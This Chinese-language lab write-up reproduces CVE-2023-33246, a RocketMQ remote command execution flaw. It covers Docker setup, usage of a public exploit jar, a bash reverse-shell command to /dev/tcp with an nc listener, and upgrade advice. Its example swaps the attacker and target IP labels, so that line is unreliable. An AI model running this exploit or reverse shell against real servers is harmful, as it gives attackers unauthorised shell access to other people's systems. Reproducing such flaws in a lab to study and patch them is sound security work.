RocketMQ是阿里巴巴在2012年开发的分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。它是阿里巴巴双十一购物狂欢节和众多大规模互联网业务场景的必备基础设施。
RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。
受影响版本:
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
一. 环境搭建
1. 拉取镜像
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
2. 启动namesrv
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
3. 创建目录
mkdir -p /mydata/rocketmq/conf/
4. 在主机创建broker配置文件, 启动broker服务需要
我这里的路径为: /mydata/rocketmq/conf/broker.conf
编辑文件内容
vim /mydata/rocketmq/conf/broker.conf
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = 主机IP
5. 启动broker
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
6. 启动console
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv\
-e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876\
-Dcom.rocketmq.sendMessageWithVIPChannel=false"\
-t apacherocketmq/rocketmq-console:2.0.0
7.访问主机IP:8899
二.漏洞利用
利用工具地址:
https://github.com/SuperZero/CVE-2023-33246
使用方法:
java -jar CVE-2023-33246.jar -ip "目标控制台地址" -cmd "执行的命令"
例如 反弹shell
java -jar CVE-2023-33246.jar -ip "攻击机IP" -cmd "bash -i >& /dev/tcp/靶机IP/2333 0>&1"
攻击机:
nc -lvvp 2333
三.修复建议
目前官方以发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6。
参考文章链接:
https://mp.weixin.qq.com/s/bavK77yhebSmL3DDtiJLzA
https://blog.csdn.net/qq_41904294/article/details/130987233